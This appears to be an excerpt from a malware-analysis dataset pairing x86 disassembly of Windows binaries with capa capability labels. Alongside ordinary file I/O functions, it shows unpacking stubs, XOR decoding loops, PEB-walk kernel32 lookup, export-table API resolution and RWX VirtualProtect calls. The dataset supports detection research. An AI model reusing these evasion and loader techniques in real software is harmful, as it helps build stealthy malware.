joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402e40
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x402e6c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x20], esi
mov ecx, dword [eax]
lea eax, [ebx + 0x30]
mov dword [esp + 0x24], edi
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], eax
test ecx, ecx
je 0x402e94
mov eax, dword [eax]
mov ecx, dword [eax]
jmp 0x402e9a
xor ecx, ecx
mov dword [esp + 0x18], eax
mov eax, ecx
cdq
mov dword [esp + 0x10], eax
mov ecx, edx
mov dword [esp + 0x14], ecx
test edi, edi
jl 0x402f02
jg 0x402eb1
test esi, esi
je 0x402f02
test ecx, ecx
jl 0x402efd
jg 0x402ebb
test eax, eax
je 0x402efd
cmp edi, ecx
jg 0x402ecf
jl 0x402ec5
cmp esi, eax
jae 0x402ecf
mov eax, esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x24]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esp + 0x24]
add esp, 0xc
mov edx, dword [esp + 0x10]
mov ecx, dword [ebp + 8]
add ecx, edx
sub esi, edx
mov eax, dword [eax]
sbb edi, dword [esp + 0x14]
sub dword [eax], edx
mov eax, dword [ebx + 0x20]
add dword [eax], edx
jmp 0x402f05
mov ecx, dword [ebp + 8]
jmp 0x402f0f
mov ecx, dword [ebp + 8]
test edi, edi
jl 0x402f29
jg 0x402f0f
test esi, esi
je 0x402f29
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x402f29
push eax
push esi
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x402f40
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 4], esi
test eax, eax
jg 0x402f6c
jl 0x402f60
test ecx, ecx
jne 0x402f6c
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x402f85
push eax
push ecx
push esi
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push edi
mov edi, ecx
mov eax, dword [eax]
mov dword [ebp - 8], eax
test eax, eax
je 0x402fd3
mov eax, dword [ebx + 0x2c]
lea edx, [ebx + 0x2c]
mov dword [ebp - 0xc], edx
mov eax, dword [eax]
test eax, eax
je 0x402fd9
mov edi, dword [ebp - 4]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push dword [ebp - 8]
push edi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [ebp - 4], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp - 4]
jmp 0x402fd9
lea eax, [ebx + 0x2c]
mov dword [ebp - 0xc], eax
cmp dword [ebx + 0x4c], 0
je 0x403046
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x403002
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov dword [eax], edx
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp edi, 0xfff
jbe 0x403034
nop
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call eax
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x403046
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x403010
test edi, edi
je 0x403046
push dword [ebx + 0x4c]
push edi
push 1
push esi
call eax
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4033c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x409008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x4033f0
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040474a
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
push edi
mov ecx, dword [eax]
test ecx, ecx
je 0x40342c
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x40342c
lea ecx, [edi - 1]
mov eax, ebx
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
pop edi
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040474a
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x403503
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x403454
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x403460
movsx eax, bl
jmp 0x403498
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
sub eax, 0
je 0x4034c2
sub eax, 1
je 0x4034c2
sub eax, 2
jne 0x403503
movsx eax, byte [ebp - 0x25]
push dword [esi + 0x4c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040474a
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x4034e0
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x403503
lea ecx, [ebp - 0x25]
mov byte [esi + 0x3d], 1
or eax, 0xffffffff
cmp dword [ebp - 0x30], ecx
pop edi
pop esi
cmovne eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040474a
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040474a
mov esp, ebp
pop ebp
ret 4
Function at 0x4037d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x409008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x40388c
cmp byte [esi + 0x3d], 0
je 0x40388c
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x40387a
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x403841
sub eax, 1
je 0x403845
sub eax, 2
jne 0x40387a
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040474a
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x403863
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x40387a
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040474a
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040474a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.0040474a
mov esp, ebp
pop ebp
ret

Function at 0x404fea
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x405029
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x405029
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x405029
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x405029
cmp dword [ecx + 0x74], 0xe
jbe 0x405029
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x42a4f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40d015
lea edi, [esi - 0xc015]
push edi
or ebp, 0xffffffff
jmp 0x42a512
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x42a519
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x42a508
mov eax, 1
add ebx, ebx
jne 0x42a52b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x42a520
jne 0x42a53c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42a520
xor ecx, ecx
sub eax, 3
jb 0x42a550
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42a5c2
mov ebp, eax
add ebx, ebx
jne 0x42a55b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x42a568
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x42a58c
inc ecx
add ebx, ebx
jne 0x42a578
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x42a56d
jne 0x42a589
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42a56d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x42a5ac
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x42a59d
jmp 0x42a50e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x42a5ac
add edi, ecx
jmp 0x42a50e
pop esi
mov edi, esi
mov ecx, 0x21
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x42a5ca
cmp byte [edi], 1
jne 0x42a5ca
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x42a5cf
lea edi, [esi + 0x28000]
mov eax, dword [edi]
or eax, eax
je 0x42a63e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2a088]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2a140]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x42a5fc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2a148]
or eax, eax
je 0x42a638
mov dword [ebx], eax
add ebx, 4
jmp 0x42a619
call dword [esi + 0x2a144]
mov ebp, dword [esi + 0x2a14c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x42a672
sub esp, 0xffffff80
jmp 0x401219

Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..3ean
nop
nop
mov ebx, 0x40915c
nop
mov ecx, 0x289445c7
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x431024
nop
mov eax, section..7LWLf
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x46ac231b
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x403e59
pop dword [ebp - 0x10]
mov eax, 0x37fa05af
add eax, 0xc84638aa
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xd78526c7
sub dword [ebp - 0x20], 0x8932e17c
mov dword [ebp - 0x1c], 0x77dbd4e
add dword [ebp - 0x1c], 0x2ab58ef7
mov dword [ebp - 0x18], 0xed32cbec
sub dword [ebp - 0x18], 0xa0e687be
mov dword [ebp - 0x14], 0xd43e4344
sub dword [ebp - 0x14], 0xd43e4344
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x400f7993
sub dword [ebp - 0x20], 0xcb9d103d
mov dword [ebp - 0x1c], 0xcd15bd84
add dword [ebp - 0x1c], 0x7456a3f1
mov dword [ebp - 0x18], 0x4c33b59e
add dword [ebp - 0x18], 0x173bb6ce
mov dword [ebp - 0x14], 0xa0130db2
sub dword [ebp - 0x14], 0xa0130db2
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x6e09e2aa
sub eax, 0x6dc961d6
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x36cd1
push 0
call eax
mov ecx, 0x4837
xor edx, edx
add edx, eax
mov ebx, 0x45f0402e
sub ebx, 0x45af302e
add ebx, dword [ebp - 0x10]
mov esi, 0x56a51b87
xor dword [ebp - 4], edi
mov edi, dword [ebx]
sub dword [ebp - 8], 0x1ac899b9
sub edi, esi
sub dword [ebp - 4], 0xcb60010b
mov dword [edx], edi
add dword [ebp - 4], eax
add edx, 0xae397233
add edx, 0x51c68dd1
add ebx, 4
loop 0x403f6c
add eax, 0x6faec99d
sub eax, 0x6fadb5ee
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x405f80
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push eax
push 0x40
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp + 0xc]
add esp, 0x10
test eax, eax
jne 0x405fa3
mov eax, 1
jmp 0x4060ae
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x5a4d
jne 0x405fb9
mov ecx, dword [ebp + 8]
cmp dword [ecx + 0x3c], 0
jne 0x405fc3
mov eax, 2
jmp 0x4060ae
mov edx, dword [ebp + 0x10]
push edx
push 0xf8
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
push ecx
mov edx, dword [ebp + 8]
add edx, 0x40
push edx
call dword [ebp + 0xc]
add esp, 0x10
test eax, eax
jne 0x405fee
mov eax, 1
jmp 0x4060ae
mov eax, dword [ebp + 8]
cmp dword [eax + 0x40], 0x4550
jne 0x406014
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 0x58]
cmp edx, 0x10b
jne 0x406014
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 0x46]
test ecx, ecx
jne 0x40601e
mov eax, 2
jmp 0x4060ae
mov edx, dword [ebp + 8]
movzx eax, word [edx + 0x46]
imul eax, eax, 0x28
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x140], eax
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x140]
push eax
call fcn.00412080
add esp, 4
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x138], eax
mov edx, dword [ebp + 8]
cmp dword [edx + 0x138], 0
jne 0x40605f
mov eax, 3
jmp 0x4060ae
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
mov edx, dword [ebp + 8]
movzx eax, word [edx + 0x54]
lea ecx, [ecx + eax + 0x18]
mov edx, dword [ebp + 8]
mov dword [edx + 0x13c], ecx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x140]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x13c]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x138]
push eax
call dword [ebp + 0xc]
add esp, 0x10
test eax, eax
jne 0x4060ac
mov eax, 1
jmp 0x4060ae
xor eax, eax
pop ebp
ret

Function at 0x406a40
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x5a4d
je 0x406a56
xor eax, eax
jmp 0x406a96
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x3c]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp dword [ecx], 0x4550
jne 0x406a7b
mov edx, dword [ebp - 4]
movzx eax, word [edx + 0x18]
cmp eax, 0x10b
je 0x406a7f
xor eax, eax
jmp 0x406a96
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x78]
push ecx
call fcn.00406aa0
add esp, 0xc
mov esp, ebp
pop ebp
ret

Function at 0x412c70
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x412ca0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [ebp + 8], 0
jne 0x412cb3
xor eax, eax
jmp 0x412d71
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx]
cmp edx, 0x5a4d
je 0x412cce
xor eax, eax
jmp 0x412d71
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
cmp dword [edx], 0x4550
je 0x412cec
xor eax, eax
jmp 0x412d71
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x78]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x20]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x1c], 0
jmp 0x412d2e
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [eax + 0x18]
jae 0x412d6f
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax*4]
push edx
call fcn.004120a0
add esp, 8
test eax, eax
jne 0x412d6d
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx*4]
mov eax, ecx
jmp 0x412d71
jmp 0x412d25
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x4749b3
Capabilities:
Encode data using xor

Disassembly:
push 0x4746cc
pop eax
mov edi, edi
add edx, edx
or edx, edx
call fcn.00474a00
add edi, 0xe59d833b
add edx, edx
sub edx, 1
xor dword [esi], eax
add edx, edi
sub edi, 0xc02555d1
add edx, edi
add esi, 2
sub edi, edi
and edx, edi
cmp esi, ebx
jl fcn.004749b3
add edx, 0x67b0db9b
add edi, 0xbb2a6dc
ret
Function at 0x40a270
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x80c458]
jne 0x40a27a
repz ret
jmp fcn.0040cf9b

Function at 0x40c3b3
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x80c458]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00408529
and dword [ebp - 0x14], 0
cmp dword [0x80ea00], 0
mov dword [ebp - 0x18], eax
jne 0x40c466
push 0x403e34
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40c50e
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403e28
push ebx
call edi
test eax, eax
je 0x40c50e
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403e18
push ebx
mov dword [0x80ea00], eax
call edi
push eax
call esi
push 0x403e04
push ebx
mov dword [0x80ea04], eax
call edi
push eax
call esi
push 0x403de8
push ebx
mov dword [0x80ea08], eax
call edi
push eax
call esi
mov dword [0x80ea10], eax
test eax, eax
je 0x40c466
push 0x403dd0
push ebx
call edi
push eax
call esi
mov dword [0x80ea0c], eax
mov eax, dword [0x80ea0c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40c4bf
cmp dword [0x80ea10], ecx
je 0x40c4bf
push eax
call esi
push dword [0x80ea10]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40c4bf
test ebx, ebx
je 0x40c4bf
call edi
test eax, eax
je 0x40c4b6
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40c4b6
test byte [ebp - 8], 1
jne 0x40c4bf
or dword [ebp + 0x10], 0x200000
jmp 0x40c4f2
mov eax, dword [0x80ea04]
cmp eax, dword [ebp - 0x18]
je 0x40c4f2
push eax
call esi
test eax, eax
je 0x40c4f2
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40c4f2
mov eax, dword [0x80ea08]
cmp eax, dword [ebp - 0x18]
je 0x40c4f2
push eax
call esi
test eax, eax
je 0x40c4f2
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x80ea00]
call esi
test eax, eax
je 0x40c50e
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40c510
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a270
leave
ret
Function at 0x8081c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
mov eax, 0x6b
mov edx, 0x72
mov word [0xb92a90], ax
mov word [0xb92a94], dx
mov ecx, 0x6e
mov edx, 0x65
xor eax, eax
push 0xb92a90
mov dword [0xb92a9c], 0x320033
mov dword [0xb92aa4], 0x6c006c
mov word [0xb92a96], cx
mov dword [0xb92a98], 0x6c0065
mov dword [0xb92aa0], 0x64002e
mov word [0xb92a92], dx
mov word [0xb92aa8], ax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, dword [0xb92a8c]
lea ecx, [esp]
push ecx
push 0x40
mov dword [0xb92a88], eax
mov eax, dword [0x813adc]
push edx
push eax
mov byte [0x80ed53], 0x65
mov dword [0x80ed49], 0x75747269
mov word [0x80ed4d], 0x6c61
mov byte [0x80ed48], 0x56
mov word [0x80ed54], 0x7463
mov byte [0x80ed56], 0
mov dword [0x80ed4f], 0x746f7250
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop ecx
ret

Function at 0x8082b0
Capabilities:
Delete directory
Get common file path
Manipulate console buffer

Disassembly:
mov eax, 0x1050
call fcn.0040cf70
cmp dword [0xb92a8c], 0x37
jne 0x808384
push 0
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push 0x4046b4
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
mov ecx, dword [esp]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_MapUserPhysicalPages]
push 0
lea edx, [esp + 0x454]
push edx
push 0x4046c4
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea eax, [esp + 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 4]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea edx, [esp + 8]
push edx
push 0x4046d8
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
push 0x4046e4
push 0x4046f4
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
push 0
lea eax, [esp + 0x854]
push eax
push 0
push 0x40471c
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push 0
push 0
push 0
push 0x404748
push 0x404764
push 0x404774
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
mov ecx, dword [0xb93a80]
mov dword [esp], ecx
mov eax, 0x5d1
add dword [esp], eax
mov edx, dword [esp]
mov al, byte [edx + esi]
mov ecx, dword [0x813adc]
mov byte [ecx + esi], al
add esp, 0x1050
ret